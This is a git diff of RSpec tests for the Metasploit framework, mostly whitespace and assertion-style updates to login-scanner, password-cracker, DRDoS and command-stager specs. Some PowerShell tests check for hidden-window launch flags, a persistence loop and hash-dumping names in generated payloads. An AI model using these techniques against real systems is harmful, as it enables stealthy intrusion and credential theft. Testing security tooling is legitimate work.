|
||||||
|
context 'that does not exist' do
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without environment_configurations_pathname' do
|
||||||
|
#
|
||||||
|
# lets
|
||||||
|
#
|
||||||
|
|
||||||
|
let(:environment_configurations_pathname) {
|
||||||
|
nil
|
||||||
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# Callbacks
|
||||||
|
#
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
allow(described_class).to receive(:user_configurations_pathname).and_return(
|
||||||
|
user_configurations_pathname
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with user_configurations_pathname' do
|
||||||
|
context 'that exists' do
|
||||||
|
#
|
||||||
|
# lets
|
||||||
|
#
|
||||||
|
|
||||||
|
let(:user_configurations_pathname) {
|
||||||
|
Pathname.new(user_configurations_tempfile.path)
|
||||||
|
}
|
||||||
|
|
||||||
|
let(:user_configurations_tempfile) {
|
||||||
|
Tempfile.new(['user_configurations', '.database.yml'])
|
||||||
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# Callbacks
|
||||||
|
#
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
allow(described_class).to receive(:project_configurations_pathname).and_return(
|
||||||
|
project_configurations_pathname
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with project_configurations_pathname' do
|
||||||
|
context 'that exists' do
|
||||||
|
let(:project_configurations_pathname) {
|
||||||
|
Pathname.new(project_configurations_tempfile.path)
|
||||||
|
}
|
||||||
|
|
||||||
|
let(:project_configurations_tempfile) {
|
||||||
|
Tempfile.new(['project_configurations', '.database.yml'])
|
||||||
|
}
|
||||||
|
|
||||||
|
it 'is [user_configurations_pathname, project_configurations_pathname]' do
|
||||||
|
expect(environment_configurations_pathname).to be_nil
|
||||||
|
expect(user_configurations_pathname).to exist
|
||||||
|
expect(project_configurations_pathname).to exist
|
||||||
|
|
||||||
|
expect(configurations_pathnames).to match_array(
|
||||||
|
[
|
||||||
|
user_configurations_pathname,
|
||||||
|
project_configurations_pathname
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'that does not exist' do
|
||||||
|
let(:project_configurations_pathname) {
|
||||||
|
Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml')
|
||||||
|
}
|
||||||
|
|
||||||
|
it 'is [user_configurations_pathname]' do
|
||||||
|
expect(environment_configurations_pathname).to be_nil
|
||||||
|
expect(user_configurations_pathname).to exist
|
||||||
|
expect(project_configurations_pathname).not_to exist
|
||||||
|
|
||||||
|
expect(configurations_pathnames).to match_array(
|
||||||
|
[
|
||||||
|
user_configurations_pathname
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without project_configurations_pathname' do
|
||||||
|
let(:project_configurations_pathname) {
|
||||||
|
nil
|
||||||
|
}
|
||||||
|
|
||||||
|
it 'is [user_configurations_pathname]' do
|
||||||
|
expect(environment_configurations_pathname).to be_nil
|
||||||
|
expect(user_configurations_pathname).to exist
|
||||||
|
expect(project_configurations_pathname).to be_nil
|
||||||
|
|
||||||
|
expect(configurations_pathnames).to match_array(
|
||||||
|
[
|
||||||
|
user_configurations_pathname
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'that does not exist' do
|
||||||
|
#
|
||||||
|
# lets
|
||||||
|
#
|
||||||
|
|
||||||
|
let(:user_configurations_pathname) {
|
||||||
|
Pathname.new('/user/configuration/that/does/not/exist/.msf4/database.yml')
|
||||||
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# Callbacks
|
||||||
|
#
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
allow(described_class).to receive(:project_configurations_pathname).and_return(
|
||||||
|
project_configurations_pathname
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with project_configurations_pathname' do
|
||||||
|
context 'that exists' do
|
||||||
|
let(:project_configurations_pathname) {
|
||||||
|
Pathname.new(project_configurations_tempfile.path)
|
||||||
|
}
|
||||||
|
|
||||||
|
let(:project_configurations_tempfile) {
|
||||||
|
Tempfile.new(['project_configurations', '.database.yml'])
|
||||||
|
}
|
||||||
|
|
||||||
|
it 'is [project_configurations_pathname]' do
|
||||||
|
expect(environment_configurations_pathname).to be_nil
|
||||||
|
expect(user_configurations_pathname).not_to exist
|
||||||
|
expect(project_configurations_pathname).to exist
|
||||||
|
|
||||||
|
expect(configurations_pathnames).to match_array(
|
||||||
|
[
|
||||||
|
project_configurations_pathname
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'that does not exist' do
|
||||||
|
let(:project_configurations_pathname) {
|
||||||
|
Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml')
|
||||||
|
}
|
||||||
|
|
||||||
|
it 'is []' do
|
||||||
|
expect(environment_configurations_pathname).to be_nil
|
||||||
|
expect(user_configurations_pathname).not_to exist
|
||||||
|
expect(project_configurations_pathname).not_to exist
|
||||||
|
|
||||||
|
expect(configurations_pathnames).to eq([])
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without project_configurations_pathname' do
|
||||||
|
let(:project_configurations_pathname) {
|
||||||
|
nil
|
||||||
|
}
|
||||||
|
|
||||||
|
it 'is []' do
|
||||||
|
expect(environment_configurations_pathname).to be_nil
|
||||||
|
expect(user_configurations_pathname).not_to exist
|
||||||
|
expect(project_configurations_pathname).to be_nil
|
||||||
|
|
||||||
|
expect(configurations_pathnames).to eq([])
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without user_configurations_pathname' do
|
||||||
|
#
|
||||||
|
# lets
|
||||||
|
#
|
||||||
|
|
||||||
|
let(:user_configurations_pathname) {
|
||||||
|
nil
|
||||||
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# Callbacks
|
||||||
|
#
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
allow(described_class).to receive(:project_configurations_pathname).and_return(
|
||||||
|
project_configurations_pathname
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with project_configurations_pathname' do
|
||||||
|
context 'that exists' do
|
||||||
|
let(:project_configurations_pathname) {
|
||||||
|
Pathname.new(project_configurations_tempfile.path)
|
||||||
|
}
|
||||||
|
|
||||||
|
let(:project_configurations_tempfile) {
|
||||||
|
Tempfile.new(['project_configurations', '.database.yml'])
|
||||||
|
}
|
||||||
|
|
||||||
|
it 'is [project_configurations_pathname]' do
|
||||||
|
expect(environment_configurations_pathname).to be_nil
|
||||||
|
expect(user_configurations_pathname).to be_nil
|
||||||
|
expect(project_configurations_pathname).to exist
|
||||||
|
|
||||||
|
expect(configurations_pathnames).to match_array(
|
||||||
|
[
|
||||||
|
project_configurations_pathname
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'that does not exist' do
|
||||||
|
let(:project_configurations_pathname) {
|
||||||
|
Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml')
|
||||||
|
}
|
||||||
|
|
||||||
|
it 'is []' do
|
||||||
|
expect(environment_configurations_pathname).to be_nil
|
||||||
|
expect(user_configurations_pathname).to be_nil
|
||||||
|
expect(project_configurations_pathname).not_to exist
|
||||||
|
|
||||||
|
expect(configurations_pathnames).to eq([])
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without project_configurations_pathname' do
|
||||||
|
let(:project_configurations_pathname) {
|
||||||
|
nil
|
||||||
|
}
|
||||||
|
|
||||||
|
it { is_expected.to eq([]) }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context '.environment_configurations_pathname' do
|
||||||
|
subject(:environment_configurations_pathname) {
|
||||||
|
described_class.environment_configurations_pathname
|
||||||
|
}
|
||||||
|
|
||||||
|
around(:each) do |example|
|
||||||
|
env_before = ENV.to_hash
|
||||||
|
|
||||||
|
begin
|
||||||
|
example.run
|
||||||
|
ensure
|
||||||
|
ENV.update(env_before)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with MSF_DATABASE_CONFIG' do
|
||||||
|
before(:each) do
|
||||||
|
ENV['MSF_DATABASE_CONFIG'] = msf_database_config
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with blank' do
|
||||||
|
let(:msf_database_config) {
|
||||||
|
''
|
||||||
|
}
|
||||||
|
|
||||||
|
it { is_expected.to be_nil }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without blank' do
|
||||||
|
let(:msf_database_config) {
|
||||||
|
'msf/database/config/database.yml'
|
||||||
|
}
|
||||||
|
|
||||||
|
it 'is Pathname of MSF_DATABASE_CONFIG' do
|
||||||
|
expect(environment_configurations_pathname).to eq(Pathname.new(msf_database_config))
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without MSF_DATABASE_CONFIG' do
|
||||||
|
it { is_expected.to be_nil }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context '.project_configurations_pathname' do
|
||||||
|
subject(:project_configurations_pathname) {
|
||||||
|
described_class.project_configurations_pathname
|
||||||
|
}
|
||||||
|
|
||||||
|
it 'is <metasploit-framework>/config/database.yml' do
|
||||||
|
root = Pathname.new(__FILE__).realpath.parent.parent.parent.parent.parent
|
||||||
|
expect(project_configurations_pathname).to eq(root.join('config', 'database.yml'))
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context '.user_configurations_pathname' do
|
||||||
|
subject(:user_configurations_pathname) {
|
||||||
|
described_class.user_configurations_pathname
|
||||||
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# lets
|
||||||
|
#
|
||||||
|
|
||||||
|
let(:config_root) {
|
||||||
|
Dir.mktmpdir
|
||||||
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# Callbacks
|
||||||
|
#
|
||||||
|
|
||||||
|
around(:each) do |example|
|
||||||
|
begin
|
||||||
|
example.run
|
||||||
|
ensure
|
||||||
|
FileUtils.remove_entry_secure config_root
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
expect(Msf::Config).to receive(:get_config_root).and_return(config_root)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'is database.yml under the user config root' do
|
||||||
|
expect(user_configurations_pathname).to eq(Pathname.new(config_root).join('database.yml'))
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -245,4 +245,4 @@ describe Metasploit::Framework::JtR::Cracker do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -35,4 +35,4 @@ describe Metasploit::Framework::JtR::InvalidWordlist do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -135,4 +135,4 @@ describe Metasploit::Framework::JtR::Wordlist do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -41,4 +41,4 @@ describe Metasploit::Framework::LoginScanner::DB2 do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -131,4 +131,4 @@ describe Metasploit::Framework::LoginScanner::FTP do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -90,4 +90,4 @@ describe Metasploit::Framework::LoginScanner::MSSQL do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -105,4 +105,4 @@ describe Metasploit::Framework::LoginScanner::MySQL do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -8,7 +8,7 @@ describe Metasploit::Framework::LoginScanner::POP3 do
|
||||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||||
|
|
||||||
context "#attempt_login" do
|
context "#attempt_login" do
|
||||||
|
|
||||||
let(:pub_blank) do
|
let(:pub_blank) do
|
||||||
Metasploit::Framework::Credential.new(
|
Metasploit::Framework::Credential.new(
|
||||||
paired: true,
|
paired: true,
|
||||||
|
@ -41,10 +41,10 @@ describe Metasploit::Framework::LoginScanner::POP3 do
|
||||||
expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
|
expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
context "Open Connection" do
|
context "Open Connection" do
|
||||||
let(:sock) {double('socket')}
|
let(:sock) {double('socket')}
|
||||||
|
|
||||||
before(:each) do
|
before(:each) do
|
||||||
sock.stub(:shutdown)
|
sock.stub(:shutdown)
|
||||||
sock.stub(:close)
|
sock.stub(:close)
|
||||||
|
@ -53,30 +53,30 @@ describe Metasploit::Framework::LoginScanner::POP3 do
|
||||||
scanner.stub(:sock).and_return(sock)
|
scanner.stub(:sock).and_return(sock)
|
||||||
scanner.should_receive(:select).with([sock],nil,nil,0.4)
|
scanner.should_receive(:select).with([sock],nil,nil,0.4)
|
||||||
end
|
end
|
||||||
|
|
||||||
it "Server returns +OK" do
|
it "Server returns +OK" do
|
||||||
expect(sock).to receive(:get_once).exactly(3).times.and_return("+OK")
|
expect(sock).to receive(:get_once).exactly(3).times.and_return("+OK")
|
||||||
expect(sock).to receive(:put).with("USER public\r\n").once.ordered
|
expect(sock).to receive(:put).with("USER public\r\n").once.ordered
|
||||||
expect(sock).to receive(:put).with("PASS \r\n").once.ordered
|
expect(sock).to receive(:put).with("PASS \r\n").once.ordered
|
||||||
|
|
||||||
result = scanner.attempt_login(pub_blank)
|
result = scanner.attempt_login(pub_blank)
|
||||||
|
|
||||||
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
|
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
|
||||||
expect(result.status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL)
|
expect(result.status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
it "Server Returns Something Else" do
|
it "Server Returns Something Else" do
|
||||||
sock.stub(:get_once).and_return("+ERROR")
|
sock.stub(:get_once).and_return("+ERROR")
|
||||||
|
|
||||||
result = scanner.attempt_login(pub_blank)
|
result = scanner.attempt_login(pub_blank)
|
||||||
|
|
||||||
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
|
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
|
||||||
expect(result.status).to eq(Metasploit::Model::Login::Status::INCORRECT)
|
expect(result.status).to eq(Metasploit::Model::Login::Status::INCORRECT)
|
||||||
expect(result.proof).to eq("+ERROR")
|
expect(result.proof).to eq("+ERROR")
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -72,4 +72,4 @@ describe Metasploit::Framework::LoginScanner::Postgres do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -29,17 +29,17 @@ describe Metasploit::Framework::LoginScanner::Result do
|
||||||
context '#success?' do
|
context '#success?' do
|
||||||
context 'when the status code is success' do
|
context 'when the status code is success' do
|
||||||
it 'returns true' do
|
it 'returns true' do
|
||||||
expect(login_result.success?).to be_true
|
expect(login_result.success?).to be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'when the status code is anything else' do
|
context 'when the status code is anything else' do
|
||||||
let(:status) { :connection_error }
|
let(:status) { :connection_error }
|
||||||
it 'returns false' do
|
it 'returns false' do
|
||||||
expect(login_result.success?).to be_false
|
expect(login_result.success?).to be_falsey
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -53,4 +53,4 @@ describe Metasploit::Framework::LoginScanner::SNMP do
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -75,4 +75,4 @@ describe Metasploit::Framework::LoginScanner::Telnet do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,46 @@
|
||||||
|
require 'spec_helper'
|
||||||
|
require 'metasploit/framework/login_scanner/vmauthd'
|
||||||
|
|
||||||
|
describe Metasploit::Framework::LoginScanner::VMAUTHD do
|
||||||
|
subject(:scanner) { described_class.new }
|
||||||
|
|
||||||
|
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false
|
||||||
|
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||||
|
|
||||||
|
context "#attempt_login" do
|
||||||
|
|
||||||
|
let(:pub_blank) do
|
||||||
|
Metasploit::Framework::Credential.new(
|
||||||
|
paired: true,
|
||||||
|
public: "public",
|
||||||
|
private: ''
|
||||||
|
)
|
||||||
|
end
|
||||||
|
context "Raised Exceptions" do
|
||||||
|
it "Rex::ConnectionError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do
|
||||||
|
expect(scanner).to receive(:connect).and_raise(Rex::ConnectionError)
|
||||||
|
result = scanner.attempt_login(pub_blank)
|
||||||
|
|
||||||
|
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
|
||||||
|
expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "Timeout::Error should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do
|
||||||
|
expect(scanner).to receive(:connect).and_raise(Timeout::Error)
|
||||||
|
result = scanner.attempt_login(pub_blank)
|
||||||
|
|
||||||
|
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
|
||||||
|
expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "EOFError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do
|
||||||
|
expect(scanner).to receive(:connect).and_raise(EOFError)
|
||||||
|
result = scanner.attempt_login(pub_blank)
|
||||||
|
|
||||||
|
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
|
||||||
|
expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
|
@ -81,4 +81,4 @@ describe Metasploit::Framework::LoginScanner::VNC do
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -8,4 +8,4 @@ describe Msf::Simple::Framework do
|
||||||
end
|
end
|
||||||
|
|
||||||
it_should_behave_like 'Msf::Simple::Framework::ModulePaths'
|
it_should_behave_like 'Msf::Simple::Framework::ModulePaths'
|
||||||
end
|
end
|
||||||
|
|
|
@ -10,28 +10,28 @@ describe Msf::Auxiliary::DRDoS do
|
||||||
mod
|
mod
|
||||||
end
|
end
|
||||||
|
|
||||||
describe '#prove_drdos' do
|
describe '#prove_amplification' do
|
||||||
it 'should detect drdos when there is packet amplification only' do
|
it 'should detect drdos when there is packet amplification only' do
|
||||||
map = { 'foo' => [ 'a', 'b' ] }
|
map = { 'foo' => [ 'a', 'b' ] }
|
||||||
result, _ = subject.prove_drdos(map)
|
result, _ = subject.prove_amplification(map)
|
||||||
result.should be true
|
result.should be true
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should detect drdos when there is bandwidth amplification only' do
|
it 'should detect drdos when there is bandwidth amplification only' do
|
||||||
map = { 'foo' => [ 'foofoo' ] }
|
map = { 'foo' => [ 'foofoo' ] }
|
||||||
result, _ = subject.prove_drdos(map)
|
result, _ = subject.prove_amplification(map)
|
||||||
result.should be true
|
result.should be true
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should detect drdos when there is packet and bandwidth amplification' do
|
it 'should detect drdos when there is packet and bandwidth amplification' do
|
||||||
map = { 'foo' => [ 'foofoo', 'a' ] }
|
map = { 'foo' => [ 'foofoo', 'a' ] }
|
||||||
result, _ = subject.prove_drdos(map)
|
result, _ = subject.prove_amplification(map)
|
||||||
result.should be true
|
result.should be true
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should not detect drdos when there is no packet and no bandwidth amplification' do
|
it 'should not detect drdos when there is no packet and no bandwidth amplification' do
|
||||||
map = { 'foo' => [ 'foo' ] }
|
map = { 'foo' => [ 'foo' ] }
|
||||||
result, _ = subject.prove_drdos(map)
|
result, _ = subject.prove_amplification(map)
|
||||||
result.should be false
|
result.should be false
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -332,7 +332,7 @@ describe Msf::Exploit::CmdStager do
|
||||||
end
|
end
|
||||||
|
|
||||||
it "is compatible" do
|
it "is compatible" do
|
||||||
expect(subject.compatible_flavor?(flavor)).to be_true
|
expect(subject.compatible_flavor?(flavor)).to be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -348,7 +348,7 @@ describe Msf::Exploit::CmdStager do
|
||||||
end
|
end
|
||||||
|
|
||||||
it "is compatible" do
|
it "is compatible" do
|
||||||
expect(subject.compatible_flavor?(flavor)).to be_true
|
expect(subject.compatible_flavor?(flavor)).to be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -358,7 +358,7 @@ describe Msf::Exploit::CmdStager do
|
||||||
end
|
end
|
||||||
|
|
||||||
it "isn't compatible" do
|
it "isn't compatible" do
|
||||||
expect(subject.compatible_flavor?(flavor)).to be_false
|
expect(subject.compatible_flavor?(flavor)).to be_falsey
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -375,7 +375,7 @@ describe Msf::Exploit::CmdStager do
|
||||||
end
|
end
|
||||||
|
|
||||||
it "is compatible" do
|
it "is compatible" do
|
||||||
expect(subject.compatible_flavor?(flavor)).to be_true
|
expect(subject.compatible_flavor?(flavor)).to be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -385,7 +385,7 @@ describe Msf::Exploit::CmdStager do
|
||||||
end
|
end
|
||||||
|
|
||||||
it "isn't compatible" do
|
it "isn't compatible" do
|
||||||
expect(subject.compatible_flavor?(flavor)).to be_false
|
expect(subject.compatible_flavor?(flavor)).to be_falsey
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -402,7 +402,7 @@ describe Msf::Exploit::CmdStager do
|
||||||
end
|
end
|
||||||
|
|
||||||
it "is compatible" do
|
it "is compatible" do
|
||||||
expect(subject.compatible_flavor?(flavor)).to be_true
|
expect(subject.compatible_flavor?(flavor)).to be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -412,7 +412,7 @@ describe Msf::Exploit::CmdStager do
|
||||||
end
|
end
|
||||||
|
|
||||||
it "isn't compatible" do
|
it "isn't compatible" do
|
||||||
expect(subject.compatible_flavor?(flavor)).to be_false
|
expect(subject.compatible_flavor?(flavor)).to be_falsey
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -43,13 +43,13 @@ describe Msf::Exploit::Powershell do
|
||||||
script = File.read(example_script)
|
script = File.read(example_script)
|
||||||
compressed = subject.compress_script(script)
|
compressed = subject.compress_script(script)
|
||||||
compressed.length.should be < script.length
|
compressed.length.should be < script.length
|
||||||
compressed.include?('IO.Compression').should be_true
|
compressed.include?('IO.Compression').should be_truthy
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should create a compressed script with eof' do
|
it 'should create a compressed script with eof' do
|
||||||
script = File.read(example_script)
|
script = File.read(example_script)
|
||||||
compressed = subject.compress_script(script, 'end_of_file')
|
compressed = subject.compress_script(script, 'end_of_file')
|
||||||
compressed.include?('end_of_file').should be_true
|
compressed.include?('end_of_file').should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -108,7 +108,7 @@ describe Msf::Exploit::Powershell do
|
||||||
it 'should substitute variables' do
|
it 'should substitute variables' do
|
||||||
script = File.read(example_script)
|
script = File.read(example_script)
|
||||||
compressed = subject.compress_script(script)
|
compressed = subject.compress_script(script)
|
||||||
decompress(compressed).include?('$hashes').should be_false
|
decompress(compressed).include?('$hashes').should be_falsey
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -120,7 +120,7 @@ describe Msf::Exploit::Powershell do
|
||||||
it 'shouldnt substitute variables' do
|
it 'shouldnt substitute variables' do
|
||||||
script = File.read(example_script)
|
script = File.read(example_script)
|
||||||
compressed = subject.compress_script(script)
|
compressed = subject.compress_script(script)
|
||||||
decompress(compressed).include?('$hashes').should be_true
|
decompress(compressed).include?('$hashes').should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -132,7 +132,7 @@ describe Msf::Exploit::Powershell do
|
||||||
it 'should substitute functions' do
|
it 'should substitute functions' do
|
||||||
script = File.read(example_script)
|
script = File.read(example_script)
|
||||||
compressed = subject.compress_script(script)
|
compressed = subject.compress_script(script)
|
||||||
decompress(compressed).include?('DumpHashes').should be_false
|
decompress(compressed).include?('DumpHashes').should be_falsey
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -144,7 +144,7 @@ describe Msf::Exploit::Powershell do
|
||||||
it 'shouldnt substitute variables' do
|
it 'shouldnt substitute variables' do
|
||||||
script = File.read(example_script)
|
script = File.read(example_script)
|
||||||
compressed = subject.compress_script(script)
|
compressed = subject.compress_script(script)
|
||||||
decompress(compressed).include?('DumpHashes').should be_true
|
decompress(compressed).include?('DumpHashes').should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -159,28 +159,28 @@ describe Msf::Exploit::Powershell do
|
||||||
context 'when x86 payload' do
|
context 'when x86 payload' do
|
||||||
it 'should generate code' do
|
it 'should generate code' do
|
||||||
code = subject.run_hidden_psh(payload, arch, encoded)
|
code = subject.run_hidden_psh(payload, arch, encoded)
|
||||||
code.include?('syswow64').should be_true
|
code.include?('syswow64').should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'when x64 payload' do
|
context 'when x64 payload' do
|
||||||
it 'should generate code' do
|
it 'should generate code' do
|
||||||
code = subject.run_hidden_psh(payload, 'x86_64', encoded)
|
code = subject.run_hidden_psh(payload, 'x86_64', encoded)
|
||||||
code.include?('sysnative').should be_true
|
code.include?('sysnative').should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'when encoded' do
|
context 'when encoded' do
|
||||||
it 'should generate a code including an encoded command' do
|
it 'should generate a code including an encoded command' do
|
||||||
code = subject.run_hidden_psh(payload, arch, true)
|
code = subject.run_hidden_psh(payload, arch, true)
|
||||||
code.include?('-nop -w hidden -e ').should be_true
|
code.include?('-nop -w hidden -e ').should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'when command' do
|
context 'when command' do
|
||||||
it 'should generate code including a -c command' do
|
it 'should generate code including a -c command' do
|
||||||
code = subject.run_hidden_psh(payload, arch, encoded)
|
code = subject.run_hidden_psh(payload, arch, encoded)
|
||||||
code.include?('-nop -w hidden -c ').should be_true
|
code.include?('-nop -w hidden -c ').should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -191,7 +191,7 @@ describe Msf::Exploit::Powershell do
|
||||||
end
|
end
|
||||||
it 'should generate a code including unshorted args' do
|
it 'should generate a code including unshorted args' do
|
||||||
code = subject.run_hidden_psh(payload, arch, encoded)
|
code = subject.run_hidden_psh(payload, arch, encoded)
|
||||||
code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ').should be_true
|
code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ').should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -206,7 +206,7 @@ describe Msf::Exploit::Powershell do
|
||||||
except = true
|
except = true
|
||||||
end
|
end
|
||||||
|
|
||||||
except.should be_true
|
except.should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -217,7 +217,7 @@ describe Msf::Exploit::Powershell do
|
||||||
end
|
end
|
||||||
it 'should add a persistance loop' do
|
it 'should add a persistance loop' do
|
||||||
code = subject.cmd_psh_payload(payload, arch)
|
code = subject.cmd_psh_payload(payload, arch)
|
||||||
decompress(code).include?('while(1){Start-Sleep -s ').should be_true
|
decompress(code).include?('while(1){Start-Sleep -s ').should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -228,7 +228,7 @@ describe Msf::Exploit::Powershell do
|
||||||
end
|
end
|
||||||
it 'shouldnt add a persistance loop' do
|
it 'shouldnt add a persistance loop' do
|
||||||
code = subject.cmd_psh_payload(payload, arch)
|
code = subject.cmd_psh_payload(payload, arch)
|
||||||
